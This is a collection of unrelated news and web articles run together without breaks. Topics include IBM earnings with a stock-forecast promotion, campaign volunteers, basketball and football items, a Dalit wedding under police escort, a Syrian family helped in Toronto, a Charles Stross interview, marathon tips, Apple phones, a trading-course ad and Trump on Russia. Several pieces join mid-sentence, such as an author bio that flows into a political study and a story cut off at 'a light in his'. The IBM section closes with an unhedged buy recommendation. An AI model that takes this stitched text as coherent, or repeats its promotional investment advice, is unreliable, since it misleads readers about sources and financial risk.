The falling revenue numbers have been the headline for IBM’s earnings reports for the last three years now, as they have been interpreted as a sign that the once dominant company is struggling to keep up with the evolving market place. As companies continue to move away from large mainframes, instead stitching together many cheaper computer servers to get supercomputer performance or moving to the cloud, IBM’s hardware business has been seen as dying or already dead. Some of this talk has merit, as the company did sell its server business to Lenovo.
Most of the hardware business that IBM has been selling off did not have good margins, providing little value to the company. While taking these assets off its books has damaged the company’s revenue numbers, they have actually helped the profit margins the company has made, making it a better value investment. And even though the company is transitioning away from hardware to other strategic investments, it does not mean that IBM does not get value from its hardware legacy. Its brand new System Z mainframe performed very well during the previous quarter, and the hardware business reported 30% year-over-year growth thanks to sales of these machines.
The decreasing revenues overall from this segment over the past three years will make the company stronger in the long run, as increased revenues from other segments that are growing rapidly will provide better profit margins. Along with the removal of assets that provided no value to the company from its books, IBM also took a hit from currency headwinds, as most companies have during the past couple of quarters. The company receives more than half of its revenue from overseas, and now expects a 7% impact from currency effects, more than it had previously expected.
Taking into account the business segments that have been taken off the books and the currency headwinds, revenue was actually flat from the year-earlier period. With the second quarter of the year expected to see an increase in mainframe hardware sales, it now appears possible that revenue might finally be bottoming out and could be set to start increasing within the next year. This will depend upon the ability of the strategic investments to grow at a faster pace than the traditional business retreats.
Strategic Imperatives Showing Promise
As IBM transitions away from hardware, it is organizing its future around cloud, the internet of things, and analytics. These business segments were up 30% when taking out currency effects, and up 20% even including those currency headwinds. These strategic investments will need to keep this pace of growth going forward for IBM to turn their revenue performance around. Revenue from the cloud business grew by 60% compared to the year before period, and is on pace to do $3.8 billion in business this year. This is still minor in comparison to its overall top line, but the growth prospects show that this business segment is making progress in the growing cloud market.
The analytics segment is up 12% compared to last year as well, where IBM has been a major player for years. The transition to this business is not as large of a shift based off what IBM is doing. Instead, it is placing a bigger emphasis on this field, as it has become increasingly popular among companies as they try to analyze data from mobile devices, big data, and cloud computing. IBM is continuing to emphasize the need to grow these businesses, as it is investing $4 billion this year on software and services delivered in the cloud. These businesses accounted for $25 billion, or 27% of annual revenue. IBM is hoping to increase the revenue from these businesses to $40 billion, which would be 40% of their annual revenue goal, by 2018.
Besides the planned investment into business segments that the company hopes it can grow quickly, IBM is also entering into partnerships with other firms to help get their businesses into consumers’ hands. Is has an ambitious partnership with Apple Inc., in which it is releasing apps for specific industries, such as airlines and retail, as well as a partnership with Twitter Inc., in which it will be able to analyze consumer’s tweets for firms of any size. The most interesting partnerships, though, are ones in healthcare with companies like Apple and Johnson and Johnson, along with several hospitals, as it attempts to become a major player in this field.
Experts agree that the linking together of all the massive computers that now hold medical information is the biggest opportunity presently available. IBM hopes to take advantage using its Watson artificial intelligence to make sense of the overwhelming amounts of medical data that is out there. Its partnership with Apple allows Watson based apps to collect info from consumers using HealthKit and ResearchKit. Similarly, a partnership with Medtronic will allow Watson to create an internet of things around the company’s medical gadgets. It will collect data for patients’ personal use and help doctors understand how well the devices are working.
IBM is not the only company that is attempting to take advantage of the opportunity in this field. Watson already has partnerships announced with the health insurer Anthem and medical centers including M.D. Anderson, Memorial Sloan-Kettering Cancer Center, and The Cleveland Clinic. Anecdotal reports so far have been positive, and IBM is convinced that the size and scale of Watson makes it capable of transforming the industry, allowing software to use data remotely while keeping it secure.
Algorithmic Analysis
I Know First is a financial services firm that utilizes an advanced self-learning algorithm to analyze, model and predict the stock market. The algorithm produces a forecast with a signal and a predictability indicator. The signal is the number in the middle of the box. The predictability is the number at the bottom of the box. At the top, a specific asset is identified. This format is consistent across all predictions.
The signal represents the predicted movement direction or trend, and is not a percentage or specific target price. The signal strength indicates how much the current price deviates from what the system considers an equilibrium or “fair” price. The signal can have a positive (predicted increase) or negative (predicted decline) sign. The heat map is arranged according to the signal strength with strongest up signals at the top, while down signals are at the bottom. The table colors are indicative of the signal. Green corresponds to the positive signal and red indicates a negative signal. A deeper color means a stronger signal and a lighter color equals a weaker signal.
The predictability indicator measures the importance of the signal. The predictability is the historical correlation between the prediction and the actual market movement for that particular asset, which is recalculated daily. Theoretically the predictability ranges from minus one to plus one. The higher this number is the more predictable the particular asset is. If you compare predictability for different time ranges, you’ll find that the longer time ranges have higher predictability. This means that longer-range signals are more important and tend to be more accurate.
Figure 1. Algorithmic Analysis of IBM For The 1-Month And 3-Month Time Horizons.
The figure above is a one-month and three-month forecast for IBM from April 21st, 2015. IBM has a weak bullish outlook in both forecasts. This fits well with the fundamental analysis for the company, as the stock price is likely to trend slightly higher until the company is able to start growing its revenue. This means that investors should go ahead and purchase the stock, as the stock price will soar much higher when revenue growth does occur, with the P/E ratio moving back to industry averages from its extremely low current level. With the impressive return to investors that IBM has historically provided to investors, it is worth purchasing now, as good times are ahead for this historic company.
About the author:For decades, idealistic and young college-educated volunteers joined political campaigns and were promptly sent off to canvass voters in factory towns and inner cities who were nothing like them.
Two political scientists say their research suggests that the mismatch between volunteers and voters could be a problem for today’s data-driven campaigns, which are having more direct conversations with more voters. As campaigns increase the volume of in-person visits and phone calls made by volunteers, they risk that those interactions could turn away voters from the candidates they are promoting.
In a forthcoming paper in the American Political Science Review, Ryan D. Enos, an assistant government professor at Harvard, and Eitan D. Hersh, an assistant professor of political science at Yale, describe how they surveyed more than 3,000 Obama campaign volunteers in the midst of the 2012 election. They found that “individuals who were interacting with swing voters on the campaign’s behalf were demographically unrepresentative, ideologically extreme, cared about atypical issues, and misunderstood the voters’ priorities.”Glen Rice Jr. was supposed to become the Washington Wizards’ primary backup guard. With Bradley Beal out, Rice was given the opportunity to play and earn a spot in the rotation. Needless to say, the second year guard didn’t make the most of his chance.
Rice struggled to hit shots consistently, and after he was seen arguing with coach Randy Wittman on the sidelines against the Toronto Raptors, he’s been replaced in the rotation by Rasual Butler.
Butler has given the Wizards a lift off the bench with his three point shooting, and now that Beal is back, Rice has been inactive. With that said, instead of having him sit on the bench, Washington has assigned Glen Rice to the Fort Wayne Mad Ants of the NBA Developmental League–via press release:
The Washington Wizards announced today that guard Glen Rice has been assigned to the Fort Wayne Mad Ants of the NBA Development League. Rice has appeared in five games this season for Washington while averaging 2.2 points in 8.5 minutes per game.
Beal will likely continue to come off the bench until his minutes restriction has been lifted, while Garrett Temple has been the starter since the beginning of the season. Andre Miller and Butler have been the backup guards for the past few games and Wittman seems to have found a good rotation.
Glen Rice has to embrace his role with the Wizards, otherwise he’s going to get stuck in the NBA D-League. He’s coming off an MVP run during the NBA Summer League, but his play hasn’t translated to the regular season. Rice played in the D-League prior to entering the 2013 NBA Draft, where he was traded on draft day to Washington. He also had multiple stints in the D-League this past season.
Let’s hope all goes well and Rice continues to develop in the NBADL.Agar Malwa: A Dalit groom in Agar Malwa district in Madhya Pradesh was accompanied by police personnel from three different police stations after marriage procession was threatened by upper caste men.
Police said that upper castes in Mana village had issued diktat a while back that no Dalit family hosting marriages in the village could use a music band as part of celebrations.
This became a problem for Chandar as he prepared to marry of his daughter Mamta.
The village even threatened to ostracise Chandar and his family by preventing them from using community roads, disallowing them from using common well and grazing their cattle on community field.
A courageous man, Chandar did not bow and approached senior police officers. In response, the administration sent a force from three police stations to accompany the groom in his wedding procession on the day of marriage.
With heavy police presence, the marriage took place peacefully.When Valerie Taylor spotted a family of newcomers looking lost in the hustle and bustle of rush hour at Toronto's main Union Station on Wednesday, she offered to help them find their train. What she didn't know was that some 50 people would do the same, on a day that would turn out to be one of her most memorable trips home ever.
Taylor, a psychiatrist at Toronto's Women's College Hospital, said she was heading home on Wednesday after what had been a hectic few days. The heat was blazing, she was tired and looking forward to getting home, when she spotted a large family with two baby strollers and several heavy bags.
They looked confused, she said, and a young woman was trying to help them.
Taylor went over to see if she could lend a hand.
"Are you new here?" she asked. Only one of the children, who said he was 11, could speak much English.
"Yes," he said. They had just arrived from Syria four months ago, he told her, and were looking to get to Ancaster, about 85 kilometres southwest of Toronto, to spend a few days with family there.
'People started trying to problem-solve'
Taylor was headed in the same direction and offered to take them to the right train. To their surprise, strangers began to take notice and to help carry the family's bags up the stairs and onto the train, some riders even making room to give the family a place to sit, Taylor said.
But once they'd boarded and the 11-year-old showed Taylor the address they were headed to, she realized they were on the wrong train. It was London they were headed to, another 100 kilometres past Ancaster, and the Lakeshore West line they were on wouldn't get them there.
"Right away people started trying to problem-solve," Taylor said, some looking on their phones for the best way to get the family to London. "It was just: 'We have a goal, we have to get these people there.'"
Valerie Taylor, a psychiatrist at Toronto's Women's College Hospital, was heading home from Toronto's Union Station Wednesday when she says she spotted a family of seven looking very confused and a young woman trying to help them. (Valerie Taylor)
Meanwhile, Taylor tracked down a GO Transit staff member on the train to try to find a solution, all the while the eyes of the second-oldest child — a nine-year-old boy — wide with wonder as she kept disappearing from their car and re-emerging with new information.
The staff member was able to speak to GO Transit's central control, and together they determined that the family could take a train to London from Aldershot station. The only problem: being a Via Rail train, it would cost a few hundred dollars — significantly more than the money they had in their plastic bag.
"All the other people on the train started helping again — people were trying to give money, somebody was calling their friend who spoke Arabic," Taylor said. She decided to accompany the family to Aldershot to make sure they got on the right train.
Acts of kindness
She'd also decided she would pay for their train tickets and helped them to enter their information into the self-serve kiosk.
If this was somebody who... was here from Victoria or Calgary or St. John's or Syria — it didn't matter. - Valerie Taylor
"The 11-year-old was a little bit suspicious, like, 'Okay, we've been in this country four months... I don't know why everyone's trying to be so helpful,'" Taylor said.
But together he and Taylor entered the necessary details into the computer so that they could buy the tickets.
That's when a woman came running across the station and yelled, "Stop, stop! Don't pay for anything!"
It was a staff member. "I just got a call from the head office," she said. "GO is sending a bus."
In the end, though, Metrolinx, the agency in charge of regional transit, sent the family to London in two cabs, spokesperson Anne Marie Aikins told CBC News. The next train and bus weren't expected for some time so it was decided that was the best way to transport mom, dad and all six kids, one of whom was disabled and had a special stroller, she said.
It was yet another act of kindness in a string of so many Taylor witnessed that day. In total, she estimated about 50 people had helped in some way or another to get the family to London.
"It really was quite amazing," she said. "It was really just groups of random strangers coming together to just do the right thing and help this family connect with their relatives for the weekend."
'They're all connected'
"If this was somebody who... was here from Victoria or Calgary or St. John's or Syria — it didn't matter," Taylor said.
Taylor said she was overwhelmed leaving the train station. Having missed her own stop to take the family to Aldershot, she got into a cab, where, she figures, the emotion of the day must have been visible on her face.
The driver, himself an immigrant, noticed and asked if she was OK. His concern only made her more emotional.
"I'm fine," she told him, "and you need to stop being nice or this is only going to get worse."
Amid all the chaos of that day, Taylor didn't get the name of the family and said she has no idea who they were. But it was a day she'll never forget, as she recounted in a Facebook post Wednesday.
"It really was one of the most moving things that I've ever had the privilege to be a part of," she said.
In particular, she said, she'll never forget the look on the nine-year-old boy's face as Taylor relayed information to and from the GO train staff member. He couldn't figure out how she could get from car to car.
"How are you doing that? How are you getting in and out?" he asked her at one point with what she said was a light in his |
measures, according to OPHI and UNDP.The measure reveals the nature and extent of poverty at different levels: from household up to regional, national and international level.This new multidimensional approach to assessing poverty has been adapted for national use in Mexico, and is now being considered by Chile and Colombia."The MPI is like a high resolution lens which reveals a vivid spectrum of challenges facing the poorest households," said OPHI Director Dr Sabina Alkire, who created the MPI with Professor James Foster of George Washington University and Maria Emma Santos of OPHI.The UNDP Human Development Report Office is also joining forces with OPHI to promote international discussions on the practical applicability of this multidimensional approach to measuring poverty.An interview with Charles Stross by Trey
Born in Leeds, England, Charles Stross knew he wanted to be a science fiction writer from an early age. He didn’t really get started until his early teens (when his sister loaned him a manual typewriter around the time he was getting heavily into Dungeons and Dragons); the results were unexpected, and he’s been trying to bury them ever since. He made his first commercial sale to Interzone in 1986, and sold about a dozen stories elsewhere throughout the late 1980s and early 1990s before a dip in his writing career. He began writing fiction in earnest again in 1998.
Along the way to his current occupation, he went to university in London and qualified as a pharmacist. He figured out it was a bad idea the second time the local police staked his shop out for an armed robbery — he’s a slow learner. Sick at heart from drugging people and dodging SWAT teams and gangsters — it’s hard to do that when you’re wearing a lab coat — he went back to university in Bradford and did a postgraduate conversion degree in computer science. After several tech sector jobs in the hinterlands around London, initially in technical publications and then in UNIX, he emigrated to Edinburgh, Scotland, and ended up in web programming consultancy and a subsequent dot-com death march at Datacash.
All good things come to an end, and Stross made the critical career error of accepting an employment offer he couldn’t refuse in early 2000, just as the bottom dropped out of the first dot-com bubble (taking his new job with it). However, he had a parachute: he was writing a monthly Linux column for Computer Shopper, and by a hop, a skip and a jump that would be denounced as implausible by any self-respecting editor, he managed to turn his unemployment into an exciting full time career opportunity as a freelance journalist specializing in Linux and free software. Even more implausibly, after fifteen years of abject obscurity, his fiction became a runaway success and he found himself earning more as a novelist than he ever had as a programmer.
He now writes fiction full-time, has sold around 16 novels, has won one Hugo award (the novella “Concrete Jungle”) and been nominated nearly a dozen times, and has been translated into about a dozen languages. He’s also won the Prometheus Award for libertarian science fiction with Glasshouse.
He lives in Edinburgh, Scotland, with his wife Feorag, a couple of cats, several thousand books, and an ever-changing herd of obsolescent computers.
Trey: First, thank you for agreeing to this interview Charlie.
If I remember correctly, you started writing Halting State, and its forthcoming sequel, Rule 34, because you wanted to write a world you wouldn’t mind living in. After all, some very bad things happen to the planet and humanity in general in Accelerando, Glasshouse, Saturn’s Children, Singularity Sky and The Family Trade, and the potential for some awful things to happen are in the Laundry novels. Is that still the case as of Rule 34?
Charlie: Yes.
Rule 34 is about as close a projection of where we might be in 2023 that I can come up with. It’s a police procedural, so of necessity it deals with some icky bits, but it’s a police procedural set in a future that is basically civilized, and has found coping strategies for dealing with today’s problems such as climate change and peak oil and corporate ethics. Some of the strategies work, some don’t — but it’s not about survivors eating their neighbours in the ruins or getting a Magic Solution to Everything handed to them on a plate by a prophet who is a thinly-disguised Mary Sue for the author’s pet hobby-horses.
In other words, it’s a world I expect to live in (although I’d like to avoid the messy bits that are the focus of the novel, if you don’t mind). Doubtless my expectations will change over the next 12 years.
Trey: I know that you had to keep changing the nature of the plot of Rule 34 as real life kept out performing your imagination for the criminal plots. What were some of the earlier versions of the plot? And how did the real world over take them?
Charlie: It wasn’t just criminal plots; it was more a case of Rule 34 being an attempt at a realistic projection of our world about 10-15 years hence. That’s always a risky time-frame even if you write it in narrow-focus (for example, a detective novel won’t paint much of a picture of global politics). When the global financial system nearly crashed in 2008 I realized I had a big problem with my existing plot, which centered on a rather outrageous economic crime; then Bernie Madoff came out of the woodwork and I realized I’d been thinking way too small. So it was back to the drawing board for a whole, and — of necessity — push the project back a year while the big picture stabilized. So I got my publishers’ permission and wrote The Fuller Memorandum, which was already under contract, a year ahead of schedule to buy myself some time.
Trey: 3D printing and mini-factories are moving from science fiction to something that can be bought by a hobbyist (sort of like computing in the early 80’s). And it plays a role in Rule 34 in both interesting and disturbing ways – where did you get the ideas for this? And do you see it going down that path in reality?
Charlie: It’s been kicking around in the zeitgeist for years. Also (cheat code coming up) it’s always a good idea for any SF author who wants to be on what passes for the cutting edge to keep a close eye on what Bruce Sterling is up to. Bruce has consistently been a decade ahead of the field for, well, decades: and he’s been _very_ interested in design and small scale fabrication and rapid prototyping since the turn of the century. And I’ve been running across people doing weird shit with 3D printers for the past few years. And a postgraduate law researcher who was looking into the intellectual property implications of 3D printing and coming to some very unexpected conclusions — copyright and in some cases patent coverage do not apply! — and it all seems to be coming together.
Trey: I’ve enjoyed reading your female characters – Rachel Mansour, Sue Smith and Elaine Barnaby, Oshi Adjani and Miriam Beckstein – how do you wind up writing them as well as you do?
Charlie: It’s not hard: I just try to give them the same level of realistic ideation that I’d give a male protagonist. I’m more surprised that many male SF authors don’t take more pains to get their female characters right. Women are people too, and they’re probably the majority of the reading audience!
Trey: One of the characters in Rule 34, the Toymaker, is one of the most disturbing viewpoint characters I’ve encountered in fiction in years. Where did you get the information to put together a viewpoint for a sociopathic character like you did?
Charlie: Actually, the Toymaker is loaded up — he’s both a paranoid schizophrenic and a sociopath — although one of these conditions is a long term side-effect of medication intended to treat the other. (Many neuroleptic drugs have bizarre and unpleasant side-effects, and we don’t actually have any medications for sociopathy/reduced empathy, so I decided to invent one, along with plausible undesirable effects …)
There are a lot of sociopaths out there: about 2% of the population, by some estimates. But it’s a spectrum disorder. Most sociopaths aren’t knife-wielding serial killers, they’re just people who have a depressed ability to feel empathy for or model the internal emotional states of other human beings or animals. One side-effect of this is a lack of guilt or embarrassment. Got a thrill-seeking friend who’s a bit narcissistic and lies shamelessly? Odds are they’re a bit sociopathic. Then we go all the way to the far end of the spectrum and find the predators who end up in high-security prisons because, despite being utterly free of moral qualms, they’re not actually supermen and most of the criminal ones get caught. An interesting thing to note is that sociopaths/psychopaths don’t anticipate punishment and so are virtually undeterred by the threat of criminal sanctions. (Which feeds into my point about our legal systems being broken.)
Finally, there’s another category of sociopath out there: the corporation. Corporations are granted many of the rights of individual humans in law, but they’re _not_ human: they’re machines for maximizing revenue flow. While a well-run corporation abides within the letter of the law, there’s no conscience there, no empathy other than that which the employees bring to their day job, and if they exercise empathy to the detriment of the company’s interests they can be fired. Successful corporations tend to be a bit sociopathic, and the climate of modern capitalism is if anything structured to promote sociopathic behaviour.
Trey: In 2002 you had a thought provoking essay on the Panopticon Singularity. How has that essay been superseded in the past 9 years? Or filtered into your works?
Charlie: Rule 34 is the panopticon singularity novel. It comes from a throwaway idea by Vernor Vinge — that perhaps one of the limiting factors on the survival of technological singularity would be the development of tools of ubiquitous law enforcement, such that all laws can be enforced — or infringements detected — automatically.
Our lawmakers are out of control.
In the period 1997-2010, in the UK, the then Labour government created an average of one new criminal offence (felony) for every day Parliament was in session. I asked a couple of legal experts how many actual chargeable offences there were in the English legal system; they couldn’t give an exact answer but suggested somewhere in the range 5000-20,000. The situation in the USA is, however, much, much worse, with different state and federal legal systems and combinations of felonies; the true number may be over a million, and a tax code so large that no single human being can be familiar with all of it (but failure to comply is frequently felonious).
Now, most of the time most of these laws don’t affect most of us. But there’s a key principle of law, that ignorance is no defence: I’m willing to bet that most human beings are guilty of one or more crimes, be they smoking a joint or underage sex or speeding or forgetting to declare earnings, or failing to file the paperwork for some sort of permit we don’t even know exists. We are all potentially criminals.
Meanwhile we have a legal system based on the theory that human beings possess free will, that they commit crimes out of malice, and that the threat or actual delivery of punishment is necessary to keep them in line. All of which are arguably invalid assumptions, if what behavioural psychology tells us is correct.
How do you run a complex society that relies on most people staying within agreed behavioural limits most of the time, if your legal system is not merely broken but can’t be fixed because it’s based on false premises?
(That’s what Rule 34 asks …)
Trey: It has been said that history is the secret resource of science fiction – and I’ve read many novels that were thinly disguised versions of historical events. You, on the other hand, seem to have largely avoided that (with the exception of the New Republic fleet in Singularity Sky). How did you do that? And more importantly, why?
Charlie: I don’t avoid it; it’s just that history never repeats exactly the same pattern, so it’s lazy writing to use an historical event without mangling it out of recognition! Also, a lot of my plots tend to focus on micro-level details so that the background patterns of history aren’t immediately obvious.
The Merchant Princes series did draw on history to some extent — on the evolution and development of mediaeval states, on the problems of economic development, and (extensively) on the collapse of the first British empire (which, in one of the time lines our protagonists explore, went very differently — thanks to a different outcome from a committee meeting held on a rainy Sunday in spring of 1745 in a palace in Edinburgh).
Trey: What is next up for you? Any new projects in the works?
Charlie: Plenty. I’m currently working in parallel on the fourth Laundry novel (The Apocalypse Codex) and on a collaboration with Cory Doctorow (The Rapture of the Nerds), both due for publication in 2012. In the work queue behind them, there’s a far future deep space novel (Neptune’s Brood), and then a near future political farce (The Lambda Functionary) — both sold, so barring catastrophes they’ll see print in the next couple of years, although I’m still at the note-taking stage on both projects.
I don’t generally comment on stuff that isn’t sold, though, so if you don’t mind I’m going to keep quiet about more speculative stuff. In any case, what I’ve just described is my bread and butter through 2013 …
Trey: How does it feel to keep getting nominated for the Prometheus Award for libertarian SF? Especially since it doesn’t seem like you aim your novels at that segment.
Charlie: It’s amusing. But I should like to note that Libertarian SF is a broad church, encompassing social libertarianism (“legalise cannabis!”) as well as economic libertarianism (“Ayn Rand is God!”). I can sign on for one but not the other; and in any event, examining issues surrounding the human existential condition — including, yes, liberty — is part of my shtick.
Trey: Outside of a desire to eat and keep a roof over your head, what motivates you to write?
Charlie: It’s fun. Or rather, I have these crazy ideas and when I let enough of them escape onto the pages people send me books to sign — and holding them is fun.
Oh, and also to keep the cats’ vet bills paid. (They’re elderly and cantankerous and don’t have insurance.)
Trey: What non-science fiction books would you suggest for your fans?
Charlie: I’m currently working my way through Postwar: A history of Europe since 1945 by Tony Judt, and making slow going. (Reason: something very weird has happened to Europe in the past two-thirds of a century — for the first time ever there’s a hegemonic expanding power in Europe that the countries on the periphery are queuing up to join rather than arming up to fight to the death! Furthermore, the last time we went this long without an invading army crossing the Rhine was the height of the Roman Empire. This phenomenon is truly remarkable because it’s truly unprecedented, and I want to get my head around it because it may be one of the most significant historic changes of the 21st and 22nd centuries.)
Trey: Favorite beer when you’re in the US?
I’m partial to a Dogfish Head 90 minute IPA — but only one of an evening, and usually at the end!
Trey:Thanks again Charlie. I’m looking forward to seeing Rule 34 in print.
Thank you Trey and Charles Stross for a great interview! Charles Stross has generously offered a copy of his new book, Rule 34 to a member who comments on this interview. The winner will be chosen at random. Good Luck!
Tags: Authors, Book Recommendations, Book SuggestionsGreen Bay Packer quarterback Aaron Rodgers underwent successful surgery to repair a fractured right collarbone on Thursday in his home state of California.
This Thursday, Rodgers will appear on the Conan O'Brien Show in a segment in which he will play the Assassin's Creed video game with O'Brien. The show can be seen weeknights on TBS at 10 p.m. CDT.
The segment, called "Clueless Gamer," has O'Brien playing video games with people who have little to no idea how to win the game.
In a short interview with Rodgers, O'Brien asked him what happened as he suffered his likely season-ending injury against Minnesota on Sunday, Oct. 15.
"I rolled out to my right, I threw the ball, and I got tackled and slammed on the ground, but I'm good now. Thirteen screws later and here I am," Rodgers said.
You can watch the preview video below:
Photo: Green Bay Packers quarterback Aaron Rodgers (12) lies on the ground after being hit by Minnesota Vikings outside linebacker Anthony Barr (55) in the first half of an NFL football game in Minneapolis, Sunday, Oct. 15, 2017. (AP Photo/Bruce Kluckhohn)By now, you’re about halfway into your fall marathon training. If you’re like the majority of runners, you’re focused mostly on your running. Logging miles, planning long runs and measuring your pace are obviously important. Too often however, the other parts of a well-rounded training program get overlooked.
As I train for my third Twin Cities Marathon this summer, I’ve realized I need to be reminded of some simple running truths. I get caught up in the miles and forget the importance of the “non-running” elements. Practicing the discipline of these five things will be critical to helping me (and you) achieve our marathon goals.
Get our Free Marathon Training Plan!
Some Non-Running Essentials
1. Sleep
Research suggests a minimum of 7.5 hours is necessary. Runners need more sleep! When we sleep, our body releases a hormone that stimulates muscle growth and repair, as well as bone building and fat burning. The National Sleep Foundation says that “sleep is as essential as diet and exercise. Inadequate sleep can result in fatigue, depression, concentration problems, illness and injury.” More sleep now means healthier, faster legs on race day.
2. Nutrition
Are you eating the right type and correct amount of calories? You need more than normal, but don’t load up on craft beer, cookies and pizza just because you ran 20 miles on Saturday. That can still slow you down. Stick to whole grains, lean meats and TONS of fruits and vegetables. We have several recipes in our nutrition section if you need ideas.
3. Hydration
Everyone knows how important hydration is. Staying hydrated during your entire training cycle is just as important as on race day. The amount of fluid you need will vary, but drink so your urine looks like lite lemonade. Even small amounts of dehydration can cause significant issues on marathon day.
4. Set SMART Goals
Set SMART Goals – Why are you running? Have you spent time to write down your goals? Also, are your goals Specific, Measurable, Attainable, Realistic and Time-bound (SMART)? If not, now is a great time to readjust (or create) goals that will help you accomplish what you want at the Twin Cities Marathon. Your goals should stretch you, yet be realistically attainable.
5. Strength Training
We should know the benefits of adding anaerobic activities into our training routine, but who has time? I recently started this 7-minute high intensity circuit plan that targets specific muscle groups that will help you run better. It’s designed for people who don’t have a lot of extra time. One of my running partners (who happens to be a physician), said that “it was studied in traditional scientific fashion and published in a peer-reviewed cardiology journal.” So it’s legit. Or here is a more intense, focused strength training plan for runners.
Hopefully your training is going well and you’re excited about your progress. If you’ve overlooked any of these other elements, you have plenty of time to incorporate all of them into your training. Viewing your marathon training as a complete lifestyle discipline will not only help you race better, but you’ll be setting yourself up for better all around well being.
What changes might you need to make to have a more well-rounded training experience?A Samsung Galaxy S4 next to a smaller iPhone 5 Steve Kovach/Business Insider Why doesn't Apple sell an iPhone with a bigger screen?
iPhone owners want to know.
Partisan Apple bloggers like Horace Dediu want to know.
Apple shareholders want to know.
The question gets at a larger one: Why does Apple only come out with one kind of iPhone at a time?
Back when Apple's biggest business was iPods, it sold several different kinds of those. iPod Classic. iPod Mini. iPod Shuffle.
Samsung, meanwhile, is starting to kick Apple's butt in terms of market share AND profits by selling all sorts of Galaxy phones.
What is Apple thinking?
Last night at All Things D's D Conference, Apple CEO Tim Cook answered some of these questions.
Paraphrasing, he said that Apple sold different kinds of iPods because the market was big enough that it made sense to build different kinds of gadgets for different people and different needs.
So far, Apple has tried to best suit all people with all needs with one phone model: the very latest iPhone.
That may change in time, said Cook.
One way it may change is that Apple may someday make a phone with a bigger screen.
It hasn't so far, Cook said, because "a large screen today comes with a lot of tradeoffs."
Cook said that the bigger a screen gets, it gets darker, it uses more battery power, and it's less likely to show colors correctly.
Cook said Apple customers want Apple to weigh all those variables "and come out with a decision."
For now, Apple's verdict is that a slightly smaller screen is the best answer for the most customers.
Cook said that as those bigger screens require fewer tradeoffs it will be more likely that Apple installs them in its phones.
At least, that's our understanding of what Cook said.
You can watch him speak his own words in response to these questions, here:100% Verified Reviews All reviews are from people who have redeemed deals with this merchant.
The in-depth class option also includes one-on-one questions and tips from instructors and personal training from Bulls On Wall Street CEO Kunal Desai. See more information on the live-class schedule.<p>
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About Bulls On Wall Street
Professional day trader, CEO, and founder Kunal Desai has been trading since his college days and boasts more than 16 years of experience. Desai founded Bulls On Wall Street to help new or experienced traders play an active role in their financial futures, offering classes on scanning, buying, and selling stocks. Experienced traders lead customers through an intensive boot camp, where they share the secrets of their system for analyzing each opportunity they encounter. Students quickly learn how to read indexes, scale out profitable positions, and land a seamless back flip into a pool of gold coins.
Desai's most recent venture, Bulls on Crypto Street, teaches users the rules and regulations of digital currency. Lessons delve into the basics and the latest trends of cryptocurrency trading, with 24/7 support, real-time alerts for trade opportunities, and notifications signifying turns in the market.
In addition to these courses, Bulls on Wall Street offers subscription services for day and swing traders. Subscriptions include stock watchlists, market commentary, trade alerts, and access to watch and interact with the Bulls traders, including a chat room and live video feed.Donald Trump says that Russia will have “far more” respect for the U.S. when he is president and that he plans to maintain a good relationship — perhaps even an alliance — with the Kremlin.
In a series of tweets sent out Saturday morning, Trump also slammed those who have been critical of improving relations with Russia, calling them “fools.”
It is not clear what exactly prompted Trump’s comments.
But they come just after the U.S. intelligence community released a declassified report asserting that Russian President Vladimir Putin was behind the campaign to steal emails from Democrats during the presidential campaign and to release them through several cut-outs on the Internet.
The 25-page report, which provided little in the way of evidence, stated that Putin had an evolving set of goals in mind with the hacking campaign. (RELATED: Experts Call Russia Intel Report ‘Underwhelming,’ ‘Disappointing’)
Putin sought to hurt Hillary Clinton politically, possibly as payback for her questioning the legitimacy of his presidency when she was secretary of state, according to the report, which is a watered-down version of a classified briefing provided to Congress.
The Russian autocrat also sought to undermine the U.S. democratic process. As Trump became Republican nominee for president, Russia used a multifaceted campaign to improve his election chances. But as Election Day grew closer and most observers believed Clinton would prevail, Russia’s goal became to undermine her presidency.
Trump met with the heads of four intelligence agencies — the CIA, National Security Agency, FBI and Office of the Director of National Intelligence — just hours before the declassified report was released. He issued a statement in that meeting in which he seemed to acknowledge that Russia was involved in cyber attacks against the U.S. But he said that the attacks did not alter the outcome of the election.
As is usually the case with Trump’s tweets, he did not provide additional details about what an improved relationship with Russia might look like. Last week, the Obama administration slapped new sanctions on Russia for its involvement in the cyber attack campaign. Thirty-five Russian intelligence agents were ordered to leave the U.S. Several high-ranking officials in Russia’s GRU intelligence agency were also sanctioned. Trump has not signaled if he will keep those sanctions in place or lift them.
Follow Chuck on TwitterCLEVELAND, Ohio -- 1. The Cleveland Browns added Brock Osweiler's $16 million guaranteed salary for this season as the price to acquire a 2018 second-round draft pick from the Houston Texans.
2. Right after the trade, there were reports the Browns planned to cut Osweiler. I was immediately told that was not true. Well, he's still here.
3. There are reports the Browns are talking possible Osweiler trades. I tend to believe that.
4. I keep going back to the Browns averaging three starting quarterbacks a season since 2010. Only once (2011) have they started only two. They started three last season: Robert Griffin III, Josh McCown and Cody Kessler.
5. I like the idea of Kessler, Osweiler and a rookie. Let Hue Jackson decide between Kessler and Osweiler to start the season.
6. The point is the Browns don't have to rush a rookie into action. Kessler and/or Osweiler at least have some experience. For all his interceptions, Osweiler has a 13-8 record as a starter. We're not talking about another Charlie Whitehurst, who was one of five quarterbacks to play last season.
7. One concern with Osweiler is his attitude. Is it a regular problem, or was his late-season blowup with Houston coach Bill O'Brien a heat-of-the-moment thing? Pro Football Talk's Mike Florio broke the story of that confrontation. He discusses what happened in this video, and Browns fans should check it out.
8. The coaching staff does have a comfort level with Kessler. They know he'll do what they ask. Pro Football Focus makes a case that Kessler can develop into a starter. A lot has to happen for that to come true. But Kessler doesn't turn the ball over. He will be prepared.
9. Kessler did sustain two concussions last season. That's an issue heading into 2017. Osweiler has been durable.
10. I asked player personnel director Andrew Berry if any of the draft's top quarterbacks played in a pro system similar to what Carson Wentz had at North Dakota State. His basic answer was no. Most seldom took snaps under center. Some never even worked out of huddle. Everything was in the shotgun with plays called from the sideline.
11. Last season's No. 2 pick by Philadelphia, Wentz had the advantage of being in a pro-style offense. It was a huge help. Top pick Jared Goff came from an "Air Raid" system at California, far from a typical NFL offense. He had major problems with the L.A. Rams.
12. Goff was 0-7 as a starter. He completed 55 percent of his passes with seven interceptions to five TDs. He fumbled five times and suffered a concussion.
13. Kessler did play in a pro system for some of his four seasons at USC. He was 0-8 as a Browns starter, but completed 66 percent of his passes with six TDs against two interceptions. Both played on bad teams, but Kessler looked a little better.
14. Keeping Kessler and Osweiler allows the Browns to draft someone such as DeShone Kizer or Patrick Mahomes, both physically talented but very raw in terms of playing the NFL game.
